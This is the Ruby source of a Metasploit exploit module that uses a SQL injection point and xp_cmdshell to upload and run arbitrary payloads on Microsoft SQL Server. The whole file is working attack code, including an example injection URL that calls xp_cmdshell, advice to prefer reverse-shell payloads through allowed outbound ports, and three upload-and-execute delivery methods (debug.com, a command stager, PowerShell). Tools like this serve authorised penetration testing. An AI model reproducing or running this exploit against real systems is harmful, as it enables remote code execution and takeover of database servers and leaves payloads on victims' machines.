##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::MSSQL_SQLI
	include Msf::Exploit::CmdStagerVBS

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SQL Server Payload Execution via SQL injection',
			'Description'    => %q{
					This module will execute an arbitrary payload on a Microsoft SQL
				Server, using a SQL injection vulnerability.

				Once a vulnerability is identified this module
				will use xp_cmdshell to upload and execute Metasploit payloads.
				It is necessary to specify the exact point where the SQL injection
				vulnerability happens. For example, given the following injection:

				http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical

				you would need to set the following path:
				set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar

				In regard to the payload, unless there is a closed port in the web server,
				you dont want to use any "bind" payload, specially on port 80, as you will
				stop reaching the vulnerable web server host. You want a "reverse" payload, probably to
				your port 80 or to any other outbound port allowed on the firewall.
				For privileged ports execute Metasploit msfconsole as root.

				Currently, three delivery methods are supported.

				First, the original method uses Windows 'debug.com'. File size restrictions are
				avoidied by incorporating the debug bypass method presented by SecureStat at
				Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.

				A second method takes advantage of the Command Stager subsystem. This allows using
				various techniques, such as using a TFTP server, to send the executable. By default
				the Command Stager uses 'wcsript.exe' to generate the executable on the target.

				Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
				payload on the target.

				NOTE: This module will leave a payload executable on the target system when the
				attack is finished.

			},
			'Author'         =>
				[
					'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',  # original module, debug.exe method, powershell method
					'jduck',  # command stager mods
					'Rodrigo Marcos' # SQL injection mods
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					# 'sa' password in logs
					[ 'CVE', '2000-0402' ],
					[ 'OSVDB', '557' ],
					[ 'BID', '1281' ],

					# blank default 'sa' password
					[ 'CVE', '2000-1209' ],
					[ 'OSVDB', '15757' ],
					[ 'BID', '4797' ],

					# code and comments
					[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]

				],
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars' 	=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 30 2000'
			))
		register_options(
			[
				OptString.new('DELIVERY', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'old' ])
			])
	end

	# This is method required for the CmdStager to work...
	def execute_command(cmd, opts)
		mssql_xpcmdshell(cmd, datastore['VERBOSE'])
	end

	def exploit

		method = datastore['DELIVERY'].downcase

		if (method =~ /^cmd/)
			execute_cmdstager({ :linemax => 1500, :nodelete => true })
			#execute_cmdstager({ :linemax => 1500 })
		else
			# Generate the EXE, this is the same no matter what delivery mechanism we use
			exe = generate_payload_exe

			# Use powershell method for payload delivery if specified
			if (method =~ /^ps/) or (method =~ /^power/)
				powershell_upload_exec(exe)
			else
				# Otherwise, fall back to the old way..
				mssql_upload_exec(exe, datastore['VERBOSE'])
			end
		end
		print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")
		select(nil,nil,nil,50)
		handler
		disconnect
	end


end